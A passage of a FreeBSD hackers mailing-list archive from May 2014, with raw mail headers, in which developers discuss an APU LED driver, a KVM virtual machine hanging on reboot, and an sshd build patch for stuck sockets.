[IPv6:2607:f8b0:4001:c03::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B336B1AB for ; Wed, 7 May 2014 14:57:22 +0000 (UTC) Received: by mail-ie0-f171.google.com with SMTP id to1so1128720ieb.2 for ; Wed, 07 May 2014 07:57:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=K56Zp7RCFH+lRzSM//yBSkLPFz2XUNXZUcnQzAYjy4s=; b=yhyTrDzCn0Fl4yKakTPOwigEqBgrz4XnQNaN26CHBdVB51TOTd3s5Pno8UYOEPi5eP G/UKCzCaCqNaIO3u0bNFfIiWHvCUXKPiGS0AuDLueM5w9yRDdCOPfDYKQiQE1HpAqpp/ 3hHDYOoVB1mrsAwCninDX+A0GIer+JtfDI9mOavMVOIcvYwB389k9VAKq89r7+0Np9Ul BhsKpt4QtuGag8hnJ+D9Yg/JYjxF/jqVPVRkgk7SgcqFTw1LccRLm5kEiPwrj/k508d2 kDFkf7ad5nuuCLQjfE4CkRjvW3KtE0+Tp95R9MQwHTjbYj1GmH60bkxoSnAqfOcKYgUT nXHw== MIME-Version: 1.0 X-Received: by 10.51.15.161 with SMTP id fp1mr44254066igd.25.1399474642177; Wed, 07 May 2014 07:57:22 -0700 (PDT) Sender: ermal.luci@gmail.com Received: by 10.50.159.134 with HTTP; Wed, 7 May 2014 07:57:22 -0700 (PDT) In-Reply-To: <20140507144631.GA24565@gta.com> References: <20140422020109.GA57760@gta.com> <69BC3E8E-A5D1-4CAD-96A0-9139FFBD8AA3@netgate.com> <20140507144631.GA24565@gta.com> Date: Wed, 7 May 2014 16:57:22 +0200 X-Google-Sender-Auth: WVF3nprJDo_x6rO-5btZX6jfkSI Message-ID: Subject: Re: apu1c led driver From: =?UTF-8?Q?Ermal_Lu=C3=A7i?= To: Larry Baird Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Freebsd hackers list , Jim Thompson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 14:57:23 -0000 On Wed, May 7, 2014 at 4:46 PM, Larry Baird wrote: > On Wed, May 07, 2014 at 10:19:39AM +0200, Ermal Lu??i wrote: > > Hello, > > > > find attached the driver as written today. > > It needs some reshaping to be integrate with led(4) and gpio(4). > > > > I will see to have the reshaping done and submit it for inclusion. > > The idea as it is today is that it expses an gpioapu device to which you > > can write a string with 3 digits "101" for each led. > > If you read from this device you just get the status of the switch on the > > APU. > > I was about to submit a version of my own. Instead I will take some > code from my verison and add it to yours. I attached a modified version > that > uses the led(4) framework to create: > /dev/led/led1, /dev/led/led2, and /dev/led/led3. > > I am curious about the gpioapu_close() function. what is it attempting > to do? My first thought was it was tring to put the leds back to a know > state. But it is writing to the mode switch? > > Heh trying to restore leds to the original state :) Have to fix that part. Also you have a leak of led devs in your loop while attaching if something goes wrong. Need to fix that or i can fix that when i come to it! > Larry > > > > -- > ------------------------------------------------------------------------ > Larry Baird > Global Technology Associates, Inc. 1992-2012 | http://www.gta.com > Celebrating Twenty Years of Software Innovation | Orlando, FL > Email: lab@gta.com | TEL 407-380-0220 > -- Ermal From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 15:32:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 09DA01A9 for ; Wed, 7 May 2014 15:32:15 +0000 (UTC) Received: from mailgate.gta.com (mailgate.gta.com [199.120.225.23]) by mx1.freebsd.org (Postfix) with ESMTP id 760CA81A for ; Wed, 7 May 2014 15:32:13 +0000 (UTC) Received: (qmail 28293 invoked by uid 1000); 7 May 2014 15:32:13 -0000 Date: Wed, 7 May 2014 11:32:13 -0400 From: Larry Baird To: Ermal Lu??i Subject: Re: apu1c led driver Message-ID: <20140507153212.GA27305@gta.com> References: <20140422020109.GA57760@gta.com> <69BC3E8E-A5D1-4CAD-96A0-9139FFBD8AA3@netgate.com> <20140507144631.GA24565@gta.com> MIME-Version: 1.0 In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Freebsd hackers list , Jim Thompson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 15:32:15 -0000 Ermal, > Have to fix that part. I fixed this and used fixed version to reset leds on driver unload. > Also you have a leak of led devs in your loop while attaching if something > goes wrong. > Need to fix that or i can fix that when i come to it! Opps, left over return. Fixed in attached version. Larry -- ------------------------------------------------------------------------ Larry Baird Global Technology Associates, Inc. 1992-2012 | http://www.gta.com Celebrating Twenty Years of Software Innovation | Orlando, FL Email: lab@gta.com | TEL 407-380-0220 From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 23:15:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 859D4956; Wed, 7 May 2014 23:15:52 +0000 (UTC) Received: from secure.freebsdsolutions.net (secure.freebsdsolutions.net [69.55.234.48]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 50978BDC; Wed, 7 May 2014 23:15:51 +0000 (UTC) Received: from [10.10.1.198] (office.betterlinux.com [199.58.199.60]) (authenticated bits=0) by secure.freebsdsolutions.net (8.14.4/8.14.4) with ESMTP id s47NFfkm021464 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Wed, 7 May 2014 19:15:41 -0400 (EDT) (envelope-from lists@jnielsen.net) From: John Nielsen Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: consistent VM hang during reboot Date: Wed, 7 May 2014 17:15:43 -0600 Message-Id: To: freebsd-hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) X-DCC-x.dcc-servers-Metrics: ns1.jnielsen.net 104; Body=2 Fuz1=2 Fuz2=2 X-Virus-Scanned: clamav-milter 0.97.8 at ns1.jnielsen.net X-Virus-Status: Clean Cc: freebsd-virtualization@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 23:15:52 -0000 I am trying to solve a problem with amd64 FreeBSD virtual machines = running on a Linux+KVM hypervisor. To be honest I'm not sure if the = problem is in FreeBSD or the hypervisor, but I'm trying to rule out the = OS first. The _second_ time FreeBSD boots in a virtual machine with more than one = core, the boot hangs just before the kernel would normally print e.g. = "SMP: AP CPU #1 Launched!" (The last line on the console is "usbus0: = 12Mbps Full Speed USB v1.0", but the problem persists even without USB). = The VM will boot fine a first time, but running either "shutdown -r now" = OR "reboot" will lead to a hung second boot. Stopping and starting the = host qemu-kvm process is the only way to continue. The problem seems to be triggered by something in the SMP portion of = cpu_reset() (from sys/amd64/amd64/vm_machdep.c). If I hit the virtual = "reset" button the next boot is fine. If I have 'kern.smp.disabled=3D"1"' = set for the initial boot then subsequent boots are fine (but I can only = use one CPU core, of course). However, if I boot normally the first time = then set 'kern.smp.disabled=3D"1"' for the second (re)boot, the problem = is triggered. Apparently something in the shutdown code is "poisoning = the well" for the next boot. The problem is present in FreeBSD 8.4, 9.2, 10.0 and 11-CURRENT as of = yesterday. This (heavy-handed and wrong) patch (to HEAD) lets me avoid the issue: --- sys/amd64/amd64/vm_machdep.c.orig 2014-05-07 13:19:07.400981580 = -0600 +++ sys/amd64/amd64/vm_machdep.c 2014-05-07 17:02:52.416783795 = -0600 @@ -593,7 +593,7 @@ void cpu_reset() { -#ifdef SMP +#if 0 cpuset_t map; u_int cnt; I've tried skipping or disabling smaller chunks of code within the #if = block but haven't found a consistent winner yet. I'm hoping the list will have suggestions on how I can further narrow = down the problem, or theories on what might be going on. Thanks! JN From owner-freebsd-hackers@FreeBSD.ORG Thu May 8 17:26:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1318B80E; Thu, 8 May 2014 17:26:10 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DFFA7BE3; Thu, 8 May 2014 17:26:09 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 69D71B97C; Thu, 8 May 2014 13:26:08 -0400 (EDT) From: John Baldwin To: freebsd-virtualization@freebsd.org Subject: Re: consistent VM hang during reboot Date: Thu, 8 May 2014 13:03:16 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20140415; KDE/4.5.5; amd64; ; ) References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201405081303.17079.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 08 May 2014 13:26:08 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 08 May 2014 17:26:10 -0000 On Wednesday, May 07, 2014 7:15:43 pm John Nielsen wrote: > I am trying to solve a problem with amd64 FreeBSD virtual machines running on a Linux+KVM hypervisor. To be honest I'm not sure if the problem is in FreeBSD or the hypervisor, but I'm trying to rule out the OS first. > > The _second_ time FreeBSD boots in a virtual machine with more than one core, the boot hangs just before the kernel would normally print e.g. "SMP: AP CPU #1 Launched!" (The last line on the console is "usbus0: 12Mbps Full Speed USB v1.0", but the problem persists even without USB). The VM will boot fine a first time, but running either "shutdown -r now" OR "reboot" will lead to a hung second boot. Stopping and starting the host qemu-kvm process is the only way to continue. > > The problem seems to be triggered by something in the SMP portion of cpu_reset() (from sys/amd64/amd64/vm_machdep.c). If I hit the virtual "reset" button the next boot is fine. If I have 'kern.smp.disabled="1"' set for the initial boot then subsequent boots are fine (but I can only use one CPU core, of course). However, if I boot normally the first time then set 'kern.smp.disabled="1"' for the second (re)boot, the problem is triggered. Apparently something in the shutdown code is "poisoning the well" for the next boot. > > The problem is present in FreeBSD 8.4, 9.2, 10.0 and 11-CURRENT as of yesterday. > > This (heavy-handed and wrong) patch (to HEAD) lets me avoid the issue: > > --- sys/amd64/amd64/vm_machdep.c.orig 2014-05-07 13:19:07.400981580 -0600 > +++ sys/amd64/amd64/vm_machdep.c 2014-05-07 17:02:52.416783795 -0600 > @@ -593,7 +593,7 @@ > void > cpu_reset() > { > -#ifdef SMP > +#if 0 > cpuset_t map; > u_int cnt; > > I've tried skipping or disabling smaller chunks of code within the #if block but haven't found a consistent winner yet. > > I'm hoping the list will have suggestions on how I can further narrow down the problem, or theories on what might be going on. Can you try forcing the reboot to occur on the BSP (via 'cpuset -l 0 reboot') or a non-BSP ('cpuset -l 1 reboot') to see if that has any effect? It might not, but if it does it would help narrow down the code to consider. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu May 8 17:55:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 58B1461B; Thu, 8 May 2014 17:55:57 +0000 (UTC) Received: from secure.freebsdsolutions.net (secure.freebsdsolutions.net [69.55.234.48]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 216DDE61; Thu, 8 May 2014 17:55:56 +0000 (UTC) Received: from [10.10.1.198] (office.betterlinux.com [199.58.199.60]) (authenticated bits=0) by secure.freebsdsolutions.net (8.14.4/8.14.4) with ESMTP id s48HtqfL029562 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Thu, 8 May 2014 13:55:53 -0400 (EDT) (envelope-from lists@jnielsen.net) Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: consistent VM hang during reboot From: John Nielsen In-Reply-To: <201405081303.17079.jhb@freebsd.org> Date: Thu, 8 May 2014 11:55:53 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: References: <201405081303.17079.jhb@freebsd.org> To: John Baldwin X-Mailer: Apple Mail (2.1874) X-DCC-sonic.net-Metrics: ns1.jnielsen.net 1156; Body=3 Fuz1=3 Fuz2=3 X-Virus-Scanned: clamav-milter 0.97.8 at ns1.jnielsen.net X-Virus-Status: Clean Cc: freebsd-hackers@freebsd.org, freebsd-virtualization@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 08 May 2014 17:55:57 -0000 On May 8, 2014, at 11:03 AM, John Baldwin wrote: > On Wednesday, May 07, 2014 7:15:43 pm John Nielsen wrote: >> I am trying to solve a problem with amd64 FreeBSD virtual machines = running on a Linux+KVM hypervisor. To be honest I'm not sure if the = problem is in FreeBSD or=20 > the hypervisor, but I'm trying to rule out the OS first. >>=20 >> The _second_ time FreeBSD boots in a virtual machine with more than = one core, the boot hangs just before the kernel would normally print = e.g. "SMP: AP CPU #1=20 > Launched!" (The last line on the console is "usbus0: 12Mbps Full Speed = USB v1.0", but the problem persists even without USB). The VM will boot = fine a first time,=20 > but running either "shutdown -r now" OR "reboot" will lead to a hung = second boot. Stopping and starting the host qemu-kvm process is the only = way to continue. >>=20 >> The problem seems to be triggered by something in the SMP portion of = cpu_reset() (from sys/amd64/amd64/vm_machdep.c). If I hit the virtual = "reset" button the next=20 > boot is fine. If I have 'kern.smp.disabled=3D"1"' set for the initial = boot then subsequent boots are fine (but I can only use one CPU core, of = course). However, if I=20 > boot normally the first time then set 'kern.smp.disabled=3D"1"' for = the second (re)boot, the problem is triggered. Apparently something in = the shutdown code is=20 > "poisoning the well" for the next boot. >>=20 >> The problem is present in FreeBSD 8.4, 9.2, 10.0 and 11-CURRENT as of = yesterday. >>=20 >> This (heavy-handed and wrong) patch (to HEAD) lets me avoid the = issue: >>=20 >> --- sys/amd64/amd64/vm_machdep.c.orig 2014-05-07 = 13:19:07.400981580 -0600 >> +++ sys/amd64/amd64/vm_machdep.c 2014-05-07 17:02:52.416783795 = -0600 >> @@ -593,7 +593,7 @@ >> void >> cpu_reset() >> { >> -#ifdef SMP >> +#if 0 >> cpuset_t map; >> u_int cnt; >>=20 >> I've tried skipping or disabling smaller chunks of code within the = #if block but haven't found a consistent winner yet. >>=20 >> I'm hoping the list will have suggestions on how I can further narrow = down the problem, or theories on what might be going on. >=20 > Can you try forcing the reboot to occur on the BSP (via 'cpuset -l 0 = reboot') > or a non-BSP ('cpuset -l 1 reboot') to see if that has any effect? It = might > not, but if it does it would help narrow down the code to consider. Hello jhb, thanks for responding. I tried your suggestion but unfortunately it does not make any = difference. The reboot hangs regardless of which CPU I assign the = command to. Any other suggestions? JN From owner-freebsd-hackers@FreeBSD.ORG Thu May 8 18:42:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0E30B2A9; Thu, 8 May 2014 18:42:36 +0000 (UTC) Received: from na01-bn1-obe.outbound.protection.outlook.com (mail-bn1lp0139.outbound.protection.outlook.com [207.46.163.139]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mail.protection.outlook.com", Issuer "MSIT Machine Auth CA 2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 16402354; Thu, 8 May 2014 18:42:34 +0000 (UTC) Received: from BY2PR05MB584.namprd05.prod.outlook.com (10.141.219.153) by BY2PR05MB773.namprd05.prod.outlook.com (10.141.224.140) with Microsoft SMTP Server (TLS) id 15.0.929.12; Thu, 8 May 2014 18:42:26 +0000 Received: from BY2PR05MB582.namprd05.prod.outlook.com (10.141.219.146) by BY2PR05MB584.namprd05.prod.outlook.com (10.141.219.153) with Microsoft SMTP Server (TLS) id 15.0.934.12; Thu, 8 May 2014 18:42:25 +0000 Received: from BY2PR05MB582.namprd05.prod.outlook.com ([10.141.219.146]) by BY2PR05MB582.namprd05.prod.outlook.com ([10.141.219.146]) with mapi id 15.00.0934.000; Thu, 8 May 2014 18:42:25 +0000 From: Andrew Duane To: John Nielsen , John Baldwin Subject: RE: consistent VM hang during reboot Thread-Topic: consistent VM hang during reboot Thread-Index: AQHPauL2mJCY45JsDEqXh7d069Bqsps297yAgAAMMTA= Date: Thu, 8 May 2014 18:42:24 +0000 Message-ID: References: <201405081303.17079.jhb@freebsd.org> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [66.129.241.10] x-forefront-prvs: 0205EDCD76 x-forefront-antispam-report: SFV:NSPM; SFS:(10009001)(6009001)(428001)(189002)(199002)(377454003)(24454002)(51704005)(52604005)(13464003)(81542001)(4396001)(74316001)(92566001)(21056001)(81342001)(80022001)(66066001)(86362001)(20776003)(64706001)(79102001)(31966008)(74502001)(74662001)(46102001)(83072002)(85852003)(99396002)(15975445006)(99286001)(2656002)(33646001)(76576001)(87936001)(15202345003)(50986999)(77096999)(76176999)(101416001)(54356999)(19580405001)(76482001)(83322001)(19580395003)(77982001)(24736002); DIR:OUT; SFP:1101; SCL:1; SRVR:BY2PR05MB584; H:BY2PR05MB582.namprd05.prod.outlook.com; FPR:; MLV:sfv; PTR:InfoNoRecords; MX:1; A:1; LANG:en; received-spf: None (: juniper.net does not designate permitted sender hosts) authentication-results: spf=none (sender IP is ) smtp.mailfrom=aduane@juniper.net; Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-OriginatorOrg: juniper.net Cc: "freebsd-hackers@freebsd.org" , "freebsd-virtualization@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 08 May 2014 18:42:36 -0000 When I was doing some early work on some of the Octeon multi-core chips, I = encountered something similar. If I remember correctly, there was an issue = in the shutdown sequence that did not properly halt the cores and set up th= e "start jump" vector. So the first core would start, and when it tried to = start the next ones it would hang waiting for the ACK that they were runnin= g (since they didn't have a start vector and hence never started). I know M= IPS, not AMD, so I can't say what the equivalent would be, but I'm sure the= re is one. Check that part, setting up the early state. If Juli and/or Adrian are reading this: do you remember anything about that= , something like 2 years ago? .................................... Andrew L. Duane AT&T Technical Lead JNCIA - JUNOS m=A0=A0=A0+1 603.770.7088 o +1 408.933.6944 (2-6944) skype: andrewlduane aduane@juniper.net -----Original Message----- From: owner-freebsd-hackers@freebsd.org [mailto:owner-freebsd-hackers@freeb= sd.org] On Behalf Of John Nielsen Sent: Thursday, May 08, 2014 1:56 PM To: John Baldwin Cc: freebsd-hackers@freebsd.org; freebsd-virtualization@freebsd.org Subject: Re: consistent VM hang during reboot On May 8, 2014, at 11:03 AM, John Baldwin wrote: > On Wednesday, May 07, 2014 7:15:43 pm John Nielsen wrote: >> I am trying to solve a problem with amd64 FreeBSD virtual machines runni= ng on a Linux+KVM hypervisor. To be honest I'm not sure if the problem is i= n FreeBSD or=20 > the hypervisor, but I'm trying to rule out the OS first. >>=20 >> The _second_ time FreeBSD boots in a virtual machine with more than one = core, the boot hangs just before the kernel would normally print e.g. "SMP:= AP CPU #1=20 > Launched!" (The last line on the console is "usbus0: 12Mbps Full Speed US= B v1.0", but the problem persists even without USB). The VM will boot fine = a first time,=20 > but running either "shutdown -r now" OR "reboot" will lead to a hung seco= nd boot. Stopping and starting the host qemu-kvm process is the only way to= continue. >>=20 >> The problem seems to be triggered by something in the SMP portion of cpu= _reset() (from sys/amd64/amd64/vm_machdep.c). If I hit the virtual "reset" = button the next=20 > boot is fine. If I have 'kern.smp.disabled=3D"1"' set for the initial boo= t then subsequent boots are fine (but I can only use one CPU core, of cours= e). However, if I=20 > boot normally the first time then set 'kern.smp.disabled=3D"1"' for the s= econd (re)boot, the problem is triggered. Apparently something in the shutd= own code is=20 > "poisoning the well" for the next boot. >>=20 >> The problem is present in FreeBSD 8.4, 9.2, 10.0 and 11-CURRENT as of ye= sterday. >>=20 >> This (heavy-handed and wrong) patch (to HEAD) lets me avoid the issue: >>=20 >> --- sys/amd64/amd64/vm_machdep.c.orig 2014-05-07 13:19:07.400981580 -060= 0 >> +++ sys/amd64/amd64/vm_machdep.c 2014-05-07 17:02:52.416783795 -0600 >> @@ -593,7 +593,7 @@ >> void >> cpu_reset() >> { >> -#ifdef SMP >> +#if 0 >> cpuset_t map; >> u_int cnt; >>=20 >> I've tried skipping or disabling smaller chunks of code within the #if b= lock but haven't found a consistent winner yet. >>=20 >> I'm hoping the list will have suggestions on how I can further narrow do= wn the problem, or theories on what might be going on. >=20 > Can you try forcing the reboot to occur on the BSP (via 'cpuset -l 0 rebo= ot') > or a non-BSP ('cpuset -l 1 reboot') to see if that has any effect? It mi= ght > not, but if it does it would help narrow down the code to consider. Hello jhb, thanks for responding. I tried your suggestion but unfortunately it does not make any difference. = The reboot hangs regardless of which CPU I assign the command to. Any other suggestions? JN _______________________________________________ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri May 9 08:28:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3679EC04; Fri, 9 May 2014 08:28:32 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id CE20288D; Fri, 9 May 2014 08:28:31 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s498STe0063398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 9 May 2014 09:28:29 +0100 (BST) Date: Fri, 09 May 2014 09:28:29 +0100 From: Karl Pielorz To: Konstantin Belousov , Daniel Eischen Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <45E85B0B7769CBE623165498@Mail-PC.tdx.co.uk> In-Reply-To: <20140411183949.GX21331@kib.kiev.ua> References: <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> <20140411183949.GX21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 May 2014 08:28:32 -0000 --On 11 April 2014 21:39 +0300 Konstantin Belousov wrote: > BTW, below is the updated patch with the workaround for sshd issue. > > diff --git a/secure/usr.sbin/sshd/Makefile b/secure/usr.sbin/sshd/Makefile > index 4f730a9..b3231a4 100644 > --- a/secure/usr.sbin/sshd/Makefile > +++ b/secure/usr.sbin/sshd/Makefile > @@ -57,6 +57,12 @@ CFLAGS+= -DNONE_CIPHER_ENABLED > DPADD+= ${LIBCRYPT} ${LIBCRYPTO} ${LIBZ} > LDADD+= -lcrypt -lcrypto -lz > > +# put the threading library last > +.if ${MK_KERBEROS_SUPPORT} != "no" > +DPADD+= ${LIBPTHREAD} > +LDADD+= -lpthread > +.endif > + > .if defined(LOCALBASE) > CFLAGS+= -DXAUTH_PATH=\"${LOCALBASE}/bin/xauth\" > .endif As far as I can see this hasn't been committed to 10/Stable yet? (or anywhere?) That means anything we build from 10/Stable is still going to have this issue - where sshd hangs because "libthr wrapper thr_sighandler() for the signal handlers is not installed as the recepient of the kernel signal, which prevents libthr locks for rtld from working properly." This is causing us issues [as well as some other people running other tools - not fixed by this patch] - I would raise a PR - but it's not my patch! :) Thanks, -Karl From owner-freebsd-hackers@FreeBSD.ORG Fri May 9 10:59:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 42DCB8CC; Fri, 9 May 2014 10:59:42 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D909D772; Fri, 9 May 2014 10:59:41 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s49AxbbQ018075; Fri, 9 May 2014 13:59:37 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s49AxbbQ018075 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s49AxbRt018074; Fri, 9 May 2014 13:59:37 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 9 May 2014 13:59:37 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140509105937.GE74331@kib.kiev.ua> References: <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> <20140411183949.GX21331@kib.kiev.ua> <45E85B0B7769CBE623165498@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="DRp5/Sds4nAqvQzf" Content-Disposition: inline In-Reply-To: <45E85B0B7769CBE623165498@Mail-PC.tdx.co.uk> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: Daniel Eischen , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 May 2014 10:59:42 -0000 --DRp5/Sds4nAqvQzf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, May 09, 2014 at 09:28:29AM +0100, Karl Pielorz wrote: >=20 > --On 11 April 2014 